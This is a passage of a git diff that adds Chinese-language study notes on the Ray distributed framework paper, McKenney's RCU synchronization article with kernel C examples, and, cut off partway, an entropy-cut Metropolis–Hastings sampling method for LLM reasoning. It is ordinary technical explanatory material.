+### 3. Global Control Store（GCS）
+
+Spark / Dryad 把 lineage 和对象元数据放在**单点 driver**，粗粒度任务还行；Ray 每秒百万 task，单点必炸。
+
+GCS 的设计原则（论文核心贡献之一）：
+
+- **所有控制状态**（对象表、任务表、函数表、事件日志）进 GCS
+- **调度器、Worker、Object Store 本身无状态**——挂了重启，从 GCS 读 lineage 即可
+- GCS 分片 + chain replication（基于 Redis），对象位置**不绑在调度器上**，调度与数据搬运解耦
+
+这让 allreduce 这类通信密集型原语不必每次 object transfer 都问 central scheduler。
+
+### 4. Bottom-Up 分布式调度 + 内存 Object Store
+
+**调度**：两层结构
+
+```
+Driver/Worker → Local Scheduler（优先本地排队）
+                    ↓ 本地队列满 / 资源不够
+              Global Scheduler（看负载 + 数据本地性选节点）
+```
+
+大部分 task 在本地 scheduler 就消化了，global scheduler 不在热路径上——所以叫 **bottom-up**。
+
+**Object Store**：
+
+- 每个节点共享内存（Apache Arrow 格式），同节点 task **零拷贝**读对象
+- 对象不可变；远程输入先 replicate 到本地再执行
+- 节点故障时靠 GCS 里的 lineage **重算**丢失对象
+
+## 代码示例 1：论文 Figure 3 的 RL 训练骨架
+
+下面这段是论文里的核心示例，把 Figure 2 伪代码翻译成 Ray API：
+
+```python
+import ray
+
+ray.init()
+
+@ray.remote
+def create_policy():
+    # 随机初始化策略网络
+    return Policy()
+
+@ray.remote(num_gpus=1)
+class Simulator:
+    def __init__(self):
+        self.env = Environment()  # 每个 Actor 持有一个仿真环境
+
+    def rollout(self, policy, num_steps):
+        observations = []
+        obs = self.env.current_state()
+        for _ in range(num_steps):
+            action = policy(obs)
+            obs = self.env.step(action)
+            observations.append(obs)
+        return observations
+
+@ray.remote(num_gpus=2)
+def update_policy(policy, *rollouts):
+    # 用多条轨迹做 SGD
+    return policy.improve(rollouts)
+
+@ray.remote
+def train_policy():
+    policy_id = create_policy.remote()
+    simulators = [Simulator.remote() for _ in range(10)]
+
+    for _ in range(100):
+        # 10 个 Actor 并行 rollout
+        rollout_ids = [
+            s.rollout.remote(policy_id, num_steps=200)
+            for s in simulators
+        ]
+        # 等全部轨迹回来再更新（也可 ray.wait 先完成的先更新）
+        policy_id = update_policy.remote(policy_id, *rollout_ids)
+
+    return ray.get(policy_id)
+
+final_policy = ray.get(train_policy.remote())
+```
+
+读这段代码时注意三件事：
+
+1. `policy_id` 是 **future**，可以直接传给其他 remote 函数，系统会自动建立依赖
+2. `Simulator` 是 **Actor**，环境状态 `self.env` 在多次 `rollout` 之间保留（如果需要）
+3. `num_gpus=1/2` 是**资源标签**，scheduler 会把任务派到有 GPU 的节点
+
+## 代码示例 2：Task vs Actor + ray.wait 模式
+
+零基础可以先跑通这个最小例子，理解 future 和动态调度：
+
+```python
+import ray
+import time
+import random
+
+ray.init()
+
+@ray.remote
+def simulate_episode(seed: int) -> float:
+    """无状态 Task：模拟一局游戏，返回得分"""
+    random.seed(seed)
+    time.sleep(random.uniform(0.01, 0.05))  # 10–50ms，模拟异构耗时
+    return random.random()
+
+@ray.remote
+class PolicyServer:
+    """有状态 Actor：维护一个简单的 running average"""
+    def __init__(self):
+        self.total = 0.0
+        self.count = 0
+
+    def record(self, score: float) -> float:
+        self.total += score
+        self.count += 1
+        return self.total / self.count
+
+def train_loop(num_rounds: int = 20, parallel: int = 32):
+    server = PolicyServer.remote()
+    pending = [simulate_episode.remote(i) for i in range(parallel)]
+
+    for round_idx in range(num_rounds):
+        # 谁先完成先处理谁——RL 里常见模式
+        ready, pending = ray.wait(pending, num_returns=4, timeout=1.0)
+        scores = ray.get(ready)
+        avg_refs = [server.record.remote(s) for s in scores]
+        running_avg = ray.get(avg_refs[-1])
+        print(f"round {round_idx}: got {len(scores)} scores, avg={running_avg:.3f}")
+
+        # 补上新仿真，保持并行度
+        pending.extend(
+            simulate_episode.remote(round_idx * 1000 + j)
+            for j in range(len(scores))
+        )
+
+    return ray.get(server.record.remote(0))  # 触发一次读状态
+
+ray.get(train_loop.remote())
+```
+
+这里 Task 负责「大量短仿真」，Actor 负责「跨轮次累积统计」。如果 Actor 挂了，Ray 可以根据 lineage 重放方法链；Task 挂了直接重算即可。
+
+## 代码示例 3：理解 ray.get 与 Object Store 的协作
+
+论文 Figure 7 用 `add(a, b)` 解释端到端路径。简化版：
+
+```python
+import ray
+import numpy as np
+
+ray.init()
+
+@ray.remote
+def add(a, b):
+    return a + b
+
+# a 可能在节点 N1 的 object store，b 在 N2
+a = ray.put(np.ones(1000))   # 显式放入 object store
+b = ray.put(np.ones(1000) * 2)
+
+future_c = add.remote(a, b)  # scheduler 可能把 task 派到存 b 的节点，再拉 a
+c = ray.get(future_c)          # driver 本地没有 c 时会从 GCS 查位置并 replicate
+print(c[:3])  # [3. 3. 3.]
+```
+
+`ray.put` / task 返回值都会进 **分布式 object store**；`ray.get` 阻塞时，若本地没有副本，GCS 会通知 object store 从远程拉取——这就是论文里 9 步 RPC 流程的简化心智模型。
+
+## 架构一图流
+
+```
+┌─────────────────────────────────────────────────────────┐
+│  Application Layer                                      │
+│  Driver（用户程序）  Worker（跑 Task）  Actor（跑方法）   │
+└──────────────────────────┬──────────────────────────────┘
+                           │
+┌──────────────────────────▼──────────────────────────────┐
+│  System Layer                                           │
+│  Local Scheduler × N  →  Global Scheduler（按需）        │
+│  Object Store（共享内存，Arrow）  per node               │
+│  GCS（对象表 / 任务表 / lineage，分片 Redis）            │
+└─────────────────────────────────────────────────────────┘
+```
+
+实现规模：约 **4 万行代码**（72% C++ 系统层 + 28% Python 应用层）。2018 年论文发表时 Ray 已开源（`pip install ray`）。
+
+## 实验亮点
+
+| 实验 | 结果 |
+|------|------|
+| 空 task 扩展性 | 60 节点 **100 万 task/s**；100 节点 **180 万+ task/s** |
+| 数据本地性 | 10–100MB 输入时，locality-aware 比 unaware 低 **1–2 个数量级**延迟 |
+| Object store 写入 | 单客户端大对象超 **15 GB/s** |
+| GCS 容错 | chain 成员故障，客户端观测延迟 **< 30ms** |
+| RL 基准 | 在 IMPALA 等 workload 上超过专门系统 |
+
+论文也诚实说明边界：Ray **不打算替代** TensorFlow Serving / Clipper 的模型管理生态，也**不打算替代** Spark 的 SQL / straggler 优化——它是 AI 细粒度动态负载的通用底座。
+
+## 踩过的坑
+
+1. **Actor 不能跟着数据走**：大对象在节点 A，Actor 固定在节点 B，每次都要拉数据——论文建议用 Task 做后处理，Actor 只做有状态小更新。
+
+2. **GCS 内存会涨**：跟踪 5000 万空 task 时 GCS 内存线性增长直至打满。需要 **GCS flushing** 定期刷盘截断 lineage。
+
+3. **动态图调试难**：嵌套 remote 触发的 control edge 让依赖关系不直观——Ray 后来做了 Dashboard / timeline，但论文时代主要靠 GCS 事件日志。
+
+4. **对象不可变**：Object store 里对象写一次不能改，更新 policy 实际上是**产生新对象**（新 future），不是 in-place mutate。
+
+5. **不是银弹**：2018 年的 Ray 对「纯批处理 ETL」「复杂 SQL」都不合适；硬上会导致你重新发明 Spark。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 强化学习（仿真 + 训练 + 服务闭环）
+- 超参搜索、并行 eval（Tune 的基础）
+- 细粒度并行：Monte Carlo、Embarrassingly parallel simulation
+- 需要 GPU/CPU 异构混部的 AI pipeline
+- 在线推理 + 弹性扩缩（Ray Serve）
+
+**不适用**：
+
+- 经典大数据 SQL / 批处理分析 → Spark / DuckDB 更合适
+- 只要单机训练 → 直接 PyTorch 更简单
+- 需要成熟模型版本管理、A/B、复杂 serving 治理 → 专用 serving 平台
+- 超大单对象分片存储（论文 object store 假设**单对象单节点**）
+
+## 历史小故事（可跳过）
+
+- **2017 年 12 月**：arxiv 1712.05889 预印本上线，Berkeley RISE Lab 开始推 Ray。
+- **2018 年 10 月**：OSDI 18 正式发表，Moritz & Nishihara 共同一作。
+- **2019 年**：RLlib 成为 RL 领域最常用的分布式 RL 库之一。
+- **2020 年**：Anyscale 公司商业化，创始团队来自 Ray 作者。
+- **2023+**：Ray 扩展到 LLM batch inference、分布式 fine-tune、Ray Data 等——但**内核设计**仍是这篇论文的 Task/Actor + GCS + bottom-up scheduler。
+
+与 [[dqn]]、[[ppo]]、[[alphago]] 的关系：那些论文讲**算法**；Ray 讲**怎么在集群上跑算法**。AlphaGo 自己拼的系统，用 Ray 可以少写大量调度 / 容错胶水代码。
+
+## 学到什么
+
+1. **RL 把「训练 / 仿真 / 服务」绑死在同一个循环里**，通用 AI 框架必须三合一，而不是三套系统硬缝。
+2. **Task 和 Actor 不是二选一**，而是同一动态引擎上的两种抽象——无状态并行用 Task，有状态更新用 Actor。
+3. **控制面与数据面分离**（GCS vs Object Store vs Scheduler）是百万 task/s 的关键；单点 driver lineage 在细粒度场景必死。
+4. **Bottom-up 调度**让 global scheduler 不在热路径，本地能消化就不上行——这和 Borg 把决策下推的思路异曲同工。
+5. **Lineage 不只是 Spark 的 RDD 专利**——Actor 的 stateful edge 也进 lineage，统一了故障恢复 story。
+6. **Immutable object store** 换掉了分布式一致性复杂度，AI workload 里对象大多是「算完就扔」的中间结果。
+7. **读系统论文要盯 workload 假设**：Ray 的每一项设计都能追溯到 Section 2 的 RL 需求清单；脱离场景谈「Ray vs Spark 谁更强」没有意义。
+
+## 进一步阅读
+
+- 论文 PDF：https://www.usenix.org/system/files/osdi18-moritz.pdf
+- 官方文档：https://docs.ray.io/
+- 源码：https://github.com/ray-project/ray
+- 相关工作对比：Spark（批）、TensorFlow（训练图）、CIEL（task parallel）、Orleans/Akka（actor）——Ray 论文 Section 6 有系统对照
+
+## 自测题
+
+1. 为什么 RL 应用不适合「Spark 做仿真 + TF 做训练 + TF Serving 做推理」三段式拼接？
+2. Task 和 Actor 在负载均衡、故障恢复、小步更新上各有什么优劣？
+3. GCS 解决了什么问题？为什么调度器不直接存对象位置？
+4. `ray.wait()` 和 `ray.get()` 在并行仿真场景下行为有何不同？
+5. 论文说 object store 对象不可变——那 policy 训练更新时状态存在哪？
+
+<details>
+<summary>参考答案</summary>
+
+1. 三段式拼接引入跨系统数据搬运和高延迟，而 RL 循环里 rollout → update → serve 紧耦合、毫秒级交互，瓶颈会被放大到不可用；论文 Figure 1 的闭环要求统一框架。
+
+2. Task 无状态，可任意节点重跑、细粒度负载均衡、利用数据本地性；Actor 方法串行、状态在进程内，小参数更新无需反复序列化，但 placement 固定、大输入时要远程拉数据，故障恢复需 replay 方法链或 checkpoint。
+
+3. GCS 集中存 lineage 和对象元数据，让 scheduler/worker 无状态并可水平扩展；对象位置若在 scheduler，每次 transfer 都要问 central scheduler，allreduce 等通信模式会被调度器瓶颈拖死——所以元数据进 GCS，调度与 dispatch 解耦。
+
+4. `ray.get(all_futures)` 阻塞直到**全部**完成；`ray.wait(futures, k, timeout)` 返回**已完成的前 k 个**，其余继续跑——适合先完成的仿真先送去训练，提高流水线利用率。
+
+5. 每次 `update_policy` 产生**新的 policy 对象**（新 future ID），旧对象仍不可变地留在 object store 中直到 evict；Actor 内部可变状态则保存在 Actor 进程内存，通过 stateful edge 追踪 lineage。
+
+</details>
diff --git a/src/content/docs/papers/rcu-mckenney-2017.md b/src/content/docs/papers/rcu-mckenney-2017.md
new file mode 100644
index 000000000..5dfe9360f
--- /dev/null
+++ b/src/content/docs/papers/rcu-mckenney-2017.md
@@ -0,0 +1,244 @@
+---
+title: What is RCU, Fundamentally? — Linux 内核「读端几乎免费」的同步范式
+来源: https://lwn.net/Articles/262464/
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+RCU（Read-Copy Update，读-拷贝-更新）是 2002 年进入 Linux 内核的一种同步机制。Paul McKenney 在 LWN 这篇《What is RCU, Fundamentally?》里把它拆成三个最底层的积木，而不是一堆 API 名词。
+
+日常类比：小区公告栏。
+
+- **读者**（内核里遍历路由表、 dentry 缓存的代码）可以随时抬头看公告，**不用排队领号、不用拿锁**。
+- **管理员**（更新者）要改内容时，**不能当场撕掉旧纸**——可能还有人正盯着旧版念。正确流程是：先贴新版（或把旧条目标成「已撤下」），**等确认没有读者还在看旧版**，再把旧纸扔进碎纸机（`kfree`）。
+
+这就是 RCU 的名字来源：**Read**（读者并发读）+ **Copy**（更新者先拷贝一份再改）+ **Update**（用指针替换发布新版本，再回收旧版本）。
+
+和普通锁、读写锁的关键区别：
+
+| 机制 | 读者与更新者 |
+|------|----------------|
+| 互斥锁 | 同一时刻只能一方工作 |
+| 读写锁 | 多个读者 **或** 一个写者，写时读者要等 |
+| RCU | **一个更新者** 可以与 **多个读者** 同时进行；读者**不直接**与更新者同步 |
+
+RCU 靠**同时保留多个版本** + **等旧读者全部结束** 来保证一致性，而不是让读者在更新时阻塞。
+
+## 为什么重要
+
+不理解 RCU，下面这些事很难讲清楚：
+
+- 为什么 Linux 路由表、文件系统 dentry、网络协议栈能在**高并发读**下仍保持极低延迟
+- 为什么有人说 RCU 读侧在不可抢占内核里是「**零开销**」——`rcu_read_lock()` 可能根本不生成机器码
+- 为什么删一个内核链表节点不能立刻 `kfree`，而要 `synchronize_rcu()` 或 `call_rcu()`
+- 为什么 RCU 常被称作读写锁的替代品、**批量引用计数**、**穷人版 GC**、**存在性保证**——本质都是同一套三件套
+
+McKenney 后来把 RCU 总结成一句 API 层面的定义：
+
+> RCU 提供：发布-订阅机制、等待既有读者结束的手段、以及维护多版本以不伤害并发读者的纪律。
+
+## 三大核心机制
+
+### 1. 发布-订阅（Publish-Subscribe）——用于插入
+
+更新者先把新对象**完全初始化**，再**发布**指针，让读者看见的是完整数据，不是半初始化垃圾。
+
+问题：编译器和 CPU 可能**重排**赋值顺序。若 `gp = p` 先于 `p->a = 1` 执行，并发读者可能看到未初始化的字段（DEC Alpha 上读侧还有更诡异的乱序）。
+
+解法：
+
+- 更新侧用 `rcu_assign_pointer()` **发布**（带发布语义，相当于封装好的内存屏障）
+- 读侧用 `rcu_dereference()` **订阅**（保证先拿到指针再解引用字段）
+- 读侧临界区用 `rcu_read_lock()` / `rcu_read_unlock()` 标出边界
+
+在 `CONFIG_PREEMPT=n` 的生产内核里，后两个 lock 调用**可能完全不生成代码**——它们只是告诉 RCU「这段代码算一次读侧临界区」，供 grace period 判断用。
+
+### 2. 等待既有读者结束（Grace Period）——用于删除/替换
+
+RCU 要等的不是「某个线程」，而是所有**在本次变更开始前已经启动**的 RCU 读侧临界区。
+
+基本更新套路（McKenney 文中的伪代码三步）：
+
+1. **改结构**：从链表摘掉、或 `list_replace_rcu()` 换成新节点
+2. **等 grace period**：`synchronize_rcu()`（或异步的 `call_rcu()`）
+3. **回收**：`kfree()` 旧对象
+
+`synchronize_rcu()` 的直觉（RCU Classic）：读侧临界区**不能睡眠、不能阻塞**。因此只要每个 CPU 都发生过至少一次**上下文切换**，就能断定该 CPU 上所有「旧」读侧临界区已结束——因为还在临界区里的任务没法被切走。
+
+概念上可极简写成：
+
+```c
+for_each_online_cpu(cpu)
+    run_on(cpu);  /* 切到该 CPU，强迫一次 context switch */
+```
+
+真实内核实现要处理中断、NMI、CPU 热插拔等，远比这复杂；PREEMPT_RT 内核还用另一套基于计数器的方案。
+
+重要细节：`synchronize_rcu()` **只等变更前已存在的读者**，变更**之后**新开始的读者不可能再拿到已删除元素的引用，因此无需等待他们。
+
+### 3. 维护多版本（Multiple Versions）——让读者安全并发
+
+删除或替换的瞬间，系统里可能同时存在：
+
+- **版本 A**：仍包含旧元素 `5,6,7` 的链表（迟到的读者还在扫）
+- **版本 B**：已摘掉或已替换的新链表（新读者看到）
+
+每个读者在**自己的一次** `rcu_read_lock()`…`rcu_read_unlock()` 区间内，保证看到**某个一致快照**——要么旧版要么新版，不会是「指针已换、字段半更新」的 mashup。
+
+旧版本占用的内存，必须等到 grace period 结束才能释放；这就是 RCU 与 GC 的相似处。
+
+## 与 seqlock、读写锁的对比
+
+**seqlock**：读者可以和写者并发，但若写者中途改过，读者可能被 `read_seqretry()` 要求**重做**——并发期间做的读工作可能作废。
+
+**RCU**：读者在更新进行中仍能做**有用工作**，读到的要么是旧快照要么是新快照，不会被中途打断重试（代价是更新侧延迟回收、可能多占内存）。
+
+**读写锁**：写者会阻塞新读者或等旧读者，读路径有锁开销。
+
+**RCU**：读路径极快，但更新侧要承担 grace period 等待和版本堆积；适合**读多写少**。
+
+## 代码示例 1：指针发布与读侧订阅
+
+下面摘自 McKenney 文中的最小模式（Linux 内核风格）：
+
+```c
+struct foo {
+    int a, b, c;
+};
+struct foo *gp = NULL;
+
+/* --- 更新者（通常还需外层锁串行化多个更新者）--- */
+void update_example(void)
+{
+    struct foo *p;
+
+    p = kmalloc(sizeof(*p), GFP_KERNEL);
+    p->a = 1;
+    p->b = 2;
+    p->c = 3;
+    rcu_assign_pointer(gp, p);  /* 发布：读者从此可能看到 p */
+}
+
+/* --- 读者 --- */
+void reader_example(void)
+{
+    struct foo *p;
+
+    rcu_read_lock();
+    p = rcu_dereference(gp);
+    if (p != NULL)
+        do_something_with(p->a, p->b, p->c);
+    rcu_read_unlock();
+}
+```
+
+若写成 `gp = p` 而不用 `rcu_assign_pointer()`，在弱内存模型机器上可能出现读者看到「指针非空但字段仍是 0」的灾难。
+
+## 代码示例 2：链表替换（RCU 名字的由来）
+
+搜索键 `key`，找到节点后**拷贝-修改-替换**，再等待、释放——这就是 Read-Copy-Update：
+
+```c
+struct foo {
+    struct list_head list;
+    int a, b, c;
+};
+LIST_HEAD(head);
+
+void replace_by_key(int key)
+{
+    struct foo *p, *q;
+
+    p = search(head, key);
+    if (p == NULL)
+        return;
+
+    q = kmalloc(sizeof(*q), GFP_KERNEL);
+    *q = *p;           /* Copy */
+    q->b = 2;          /* Update */
+    q->c = 3;
+    list_replace_rcu(&p->list, &q->list);  /* 发布新版本 */
+    synchronize_rcu();                     /* 等旧读者 */
+    kfree(p);                              /* 回收旧版本 */
+}
+```
+
+删除更简单，不需要拷贝：
+
+```c
+void delete_by_key(int key)
+{
+    struct foo *p;
+
+    p = search(head, key);
+    if (p == NULL)
+        return;
+
+    list_del_rcu(&p->list);   /* 读者不再能「合法」发现 p，但已持有引用的仍可读 */
+    synchronize_rcu();
+    kfree(p);
+}
+```
+
+链表 API 还有 `list_add_rcu()`、`list_for_each_entry_rcu()` 等，内部已嵌入 `rcu_assign_pointer` / `rcu_dereference` 语义。`list_add_rcu()` 可与读者并发；**多个** `list_add` 之间仍需外层锁互斥。
+
+## 读侧临界区的规则
+
+`rcu_read_lock()` 到 `rcu_read_unlock()` 之间：
+
+- 可以嵌套
+- 可以跑几乎任意代码
+- **不能**显式阻塞或睡眠（SRCU 变体允许睡眠，那是另一套 API）
+- 退出临界区后**不得**再持有 RCU 保护数据的指针
+
+违反最后一条，就会在 `kfree` 之后仍解引用 → use-after-free。
+
+## 常见 API 速查
+
+| 角色 | 典型原语 |
+|------|----------|
+| 读侧进入/退出 | `rcu_read_lock()` / `rcu_read_unlock()` |
+| 读侧取指针 | `rcu_dereference()` |
+| 更新侧发布 | `rcu_assign_pointer()`、`list_add_rcu()`、`list_replace_rcu()` |
+| 等待 grace period | `synchronize_rcu()`、`synchronize_net()` |
+| 异步回收 | `call_rcu(ptr, callback)` |
+| 链表遍历 | `list_for_each_entry_rcu()` |
+
+## 适用场景与代价
+
+**适合**：
+
+- 读远多于写（路由表、全局配置、只读遍历）
+- 读路径延迟敏感，愿用更新侧延迟和内存换速度
+
+**不适合 / 需警惕**：
+
+- 写非常频繁（grace period 内可能堆很多版本；McKenney 也提醒极高更新率通常不是 RCU 首选）
+- 读者需要睡眠（用 SRCU 或其他机制）
+- 数据结构难以用「指针发布 + 延迟释放」表达
+
+更新者虽不让读者**自旋或阻塞**，但仍可能通过**缓存失效**让并发读者付出 cache miss 代价（文后 Quick Quiz 6 的答案）——这是性能层面的「间接拖延」，不是逻辑上的锁等待。
+
+## 小结
+
+McKenney 这篇「Fundamentally」文章的核心信息可以压缩为：
+
+1. **发布-订阅**：`rcu_assign_pointer` + `rcu_dereference`，保证读者看到完整初始化的对象。
+2. **Grace period**：`synchronize_rcu()` 等待**变更前已启动**的所有读侧临界区结束。
+3. **多版本纪律**：删除/替换后旧对象暂留，直到确认无读者再 `kfree`。
+
+RCU 不是魔法，而是把同步成本从**读路径**挪到**更新路径**和**内存管理**上的工程权衡。Linux 调度器、网络、VFS 大量依赖这套范式，才能在多核上保持「读者像没锁一样快」。
+
+## 延伸阅读
+
+- 同系列 Part 2：[What is RCU? Part 2: Usage](https://lwn.net/Articles/263130/) — RCU 与读写锁、引用计数、GC、存在性保证的类比
+- 同系列 Part 3：[RCU part 3: the RCU API](https://lwn.net/Articles/264090/) — 完整 API 表与 RCU 家族变体
+- 内核文档：[What is RCU?](https://www.kernel.org/doc/html/latest/RCU/whatisRCU.html)
+
+## 参考
+
+- Paul E. McKenney & Jonathan Walpole, [What is RCU, Fundamentally?](https://lwn.net/Articles/262464/), LWN.net, 2007-12-17（LWN RCU 三部曲 Part 1）
diff --git a/src/content/docs/papers/reasoning-with-sampling.md b/src/content/docs/papers/reasoning-with-sampling.md
new file mode 100644
index 000000000..929fee932
--- /dev/null
+++ b/src/content/docs/papers/reasoning-with-sampling.md
@@ -0,0 +1,296 @@
+---
+title: Reasoning with Sampling — 在「决策点」下刀，用熵引导推理采样
+来源: https://arxiv.org/abs/2605.30327
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：改作文时，该从哪一句重写？
+
+你写一篇数学证明，写了一半发现思路错了。有两种改法：
+
+1. **随机挑一句重写**：可能改的是「因此，我们得到……」这种过渡句——措辞变了，**证明策略没变**，错误照样留着。
+2. **回到关键分叉点重写**：比如「我决定用归纳法」或「这里换用反证法」——从**真正做选择**的地方切开，整条推理路径才可能变。
+
+大语言模型（LLM）做数学题、写代码时，生成的 token 序列也类似一篇「出声思考的作文」。其中只有少数位置是** consequential decisions（关键决策）**：选哪种证明技巧、用哪个算法、走哪条分支。其余大量 token 只是在**展开细节**——熵低、几乎确定下一个词是什么。
+
+**Reasoning with Sampling: Cutting at Decision Points**（Zhou, Mehrotra, Liu；arXiv [2605.30327](https://arxiv.org/abs/2605.30327)）的核心洞察是：
+
+> 要从基础模型里「榨出」推理能力，MCMC 采样器应该在**决策点**下刀重采样后缀，而不是在整段推理里均匀随机切一刀。
+
+论文提出 **Entropy-Cut Metropolis–Hastings（熵切 MH）**：用下一 token 的**熵**当决策点代理，配合 MH 接受–拒绝，从 **power distribution（幂分布）** 高效采样——**无需 RL 训练、无需标注数据、无需 verifier**。
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *Reasoning with Sampling: Cutting at Decision Points* |
+| 作者 | Felix Zhou, Anay Mehrotra, Quanquan C. Liu |
+| 日期 | 2026-05-28 |
+| 前置工作 | Power sampling / Reasoning with Sampling（Karan & Du 等，arXiv 2510.14901） |
+| 核心算法 | **Entropy-Cut Metropolis–Hastings** |
+| 目标分布 | 序列级 power distribution \(p^\alpha\)，\(\alpha > 1\) 锐化基础分布 |
+| 关键代理 | 下一 token 熵 \(H_t = -\sum_v p(v \mid x_{<t}) \log p(v \mid x_{<t})\) |
+| 理论结果 | 混合时间随**决策数 \(k\)** 缩放，而非 token 深度 \(T\)（\(T \gg k\) 时差距大） |
+| 评测 | MATH500、HumanEval、GPQA Diamond、AIME26 |
+| 代表结果 | Qwen2.5-7B：标准采样 MATH500 **35.9%** → 熵切 MH **71.9%** |
+
+---
+
+## 为什么重要
+
+### 1. 挑战「推理只能靠 RL 练出来」
+
+前沿推理模型（o 系列、R1 等）多靠 **RL post-training** 把基础模型「推」向高奖励轨迹。Karan & Du（2025）表明：对基础分布做 **power sharpening** 再采样，单样本推理可接近甚至超过 GRPO，且**不塌缩多样性**。
+
+但 power distribution 无法精确采样，必须用 MCMC。**怎么切、在哪切** 决定了采样是否实用——本文把「切的位置」从工程细节升格为**理论对象**。
+
+### 2. 均匀切刀浪费算力
+
+先前 stagewise MH 在位置 \(t\) 上**均匀**选 cut，然后从 \(t\) 起重采样后缀。推理轨迹里决策点稀疏（\(k\) 个）而 token 很长（\(T\) 个）。均匀切大概率落在**低熵、已确定**的局部，只改写措辞，不探索新策略——混合慢、算力空转。
+
+### 3. 熵是可观测的决策信号
+
+模型 forward 时本来就算 logits；熵几乎**零额外成本**。论文实证：**熵跃升（entropy jump）** 与人工标注的决策点高度相关，且熵切 MH 在各基准上稳定优于均匀切 MH 与 RL 基线。
+
+---
+
+## 核心概念
+
+### 1. Power distribution：把「更像对」的轨迹放大
+
+给定基础模型在长度 \(T\) 序列上的分布 \(p(x_{1:T})\)，**幂分布**定义为：
+
+\[
+p^\alpha(x_{1:T}) \propto p(x_{1:T})^\alpha, \quad \alpha > 1
+\]
+
+直觉：\(\alpha\) 越大，越偏向**高似然**（模型自认为更靠谱）的完整推理链。RL 可被理解为一种**隐式分布锐化**；power sampling 则在**推理时**显式瞄准锐化后的目标，不动权重。
+
+与 **low-temperature decoding** 的区别：低温只在**逐步**贪心选高概率 token；power distribution 在**整段序列**层面重加权，能偏好「全局自洽」的长推理，而非局部尖峰。
+
+### 2. Metropolis–Hastings 在推理轨迹上「改后缀」
+
+精确采样 \(p^\alpha\) 不可行。MCMC 维护当前完整轨迹 \(x\)，每步：
+
+1. **提议（propose）**：选 cut 位置 \(t\)，保留前缀 \(x_{1:t}\)，用基础模型自回归**重采样后缀** \(x'_{t+1:T}\)，得候选 \(x'\)。
+2. **接受–拒绝**：按 MH 比率决定保留 \(x'\) 还是回到 \(x\)，保证平稳分布仍是 \(p^\alpha\)。
+
+关键：**cut 位置的 proposal 分布** 可以改变（只要 MH 校正正确），于是可以把「更常切在决策点」编码进算法，而不改变目标分布。
+
+### 3. 决策点 vs 局部细节
+
+| 类型 | 例子 | 下一 token 熵 | 均匀切的效果 |
+|------|------|---------------|--------------|
+| **决策点** | 选归纳法 / 构造辅助函数 / 换排序算法 | **高**（多分支可行） | 重采样后缀 → 新策略 |
+| **局部细节** | 「因此」「=」「return」 | **低**（几乎确定） | 只改措辞，策略不变 |
+
+论文 Figure 1 示意：熵曲线上的**尖峰**对应策略分叉；均匀切落在平坦低熵区的概率远大于落在尖峰。
+
+### 4. Entropy-Cut MH 算法
+
+相对均匀切 baseline（Karan & Du 的 stagewise sampler），本文只改 **cut 位置如何抽样**：
+
+- 计算每个位置 \(t\) 的下一 token 熵 \(H_t\)（或熵跃升 \(\Delta H_t\)）。
+- 以与 \(H_t\)（或 \(\Delta H_t\)）**成正比**的概率选 cut 点，而非均匀。
+- 仍用标准 MH 接受–拒绝，确保目标分布仍是 \(p^\alpha\)。
+
+直觉：**把 MCMC 预算集中在「模型真的在犹豫」的地方**，更快在多种推理模式间混合（mix）。
+
+### 5. 推理树模型与 Theorem 4.1（混合时间）
+
+论文用 stylized **reasoning tree** 建模：根到叶路径 = token 序列；**分支节点 = 决策点**（共 \(k\) 个），其余边为确定性展开（深度 \(T\)）。
+
+| 切法 | 混合时间量级（直觉） |
+|------|---------------------|
+| **均匀切** | 与序列深度 \(T\) 相关——要在 \(T\) 个位置里碰运气撞到决策点 |
+| **熵切** | 与决策数 \(k\) 相关——proposal 已偏向分支节点 |
+
+当 \(T \gg k\)（长链式推导、短决策链）时，熵切带来**量级上的效率优势**。这与 Table 1 中「熵切 consistently 优于均匀切」一致。
+
+### 6. 实验结论摘要
+
+在 **Qwen2.5-7B**、**Qwen2.5-Math-7B** 等模型上（详见论文 Table 1）：
+
+- **相对标准采样**：MATH500 最高约 **+36%** 绝对提升（7B 模型）。
+- **相对均匀切 MH**：熵切在多数任务上再涨一截（如 7B 上 MATH500 67.4% → 71.9%）。
+- **相对 RL（GRPO）**：在 MATH500、HumanEval、GPQA、AIME26 上**可比或更好**，且无需训练。
+- **AIME26** 等竞赛级任务亦有增益，说明不仅是「简单题库过拟合」。
+
+---
+
+## 代码示例 1：计算下一 token 熵，标出「决策尖峰」
+
+推理时模型已输出 logits。熵衡量「下一个 token 有多不确定」——论文用它定位 cut 点。
+
+```python
+import torch
+import torch.nn.functional as F
+
+def next_token_entropy(logits: torch.Tensor) -> torch.Tensor:
+    """logits: (seq_len, vocab_size) — 每个位置对「下一 token」的分布"""
+    log_probs = F.log_softmax(logits, dim=-1)
+    probs = log_probs.exp()
+    # H_t = -sum_v p(v) log p(v)
+    entropy = -(probs * log_probs).sum(dim=-1)
+    return entropy  # shape: (seq_len,)
+
+def entropy_jump(entropy: torch.Tensor) -> torch.Tensor:
+    """熵跃升：尖峰往往对应「刚做完一个选择」"""
+    jump = torch.zeros_like(entropy)
+    jump[1:] = entropy[1:] - entropy[:-1]
+    return jump
+
+def top_decision_positions(logits: torch.Tensor, k: int = 5):
+    H = next_token_entropy(logits)
+    jumps = entropy_jump(H)
+    # 论文用 H_t 或 ΔH 做 cut proposal 权重；这里演示取 top-k 尖峰
+    scores = H + jumps.clamp(min=0)
+    topk = scores.topk(min(k, scores.numel()))
+    return topk.indices.tolist(), topk.values.tolist()
+
+# 用法：对一条已生成推理链做一次 forward，得各位置熵
+# logits = model(input_ids).logits[0, :-1]  # 对齐 next-token 预测
+# positions, values = top_decision_positions(logits)
+```
+
+**读图方式**：若某步熵从 0.3 飙到 2.8，往往意味着模型在「选路径」；在此处 cut 重采样，比在中间「写公式细节」处切更可能换策略。
+
+---
+
+## 代码示例 2：简化版 Entropy-Cut Metropolis–Hastings 循环
+
+下面是与论文思想一致的**教学伪代码**（省略 stagewise 扩展、长度变化等工程细节）。核心是：**按熵加权选 cut**，再用似然比做 MH 接受。
+
+```python
+import math
+import random
+from typing import Callable, List
+
+def log_prob_sequence(model, token_ids: List[int]) -> float:
+    """基础模型对整条序列的对数似然 log p(x)"""
+  total = 0.0
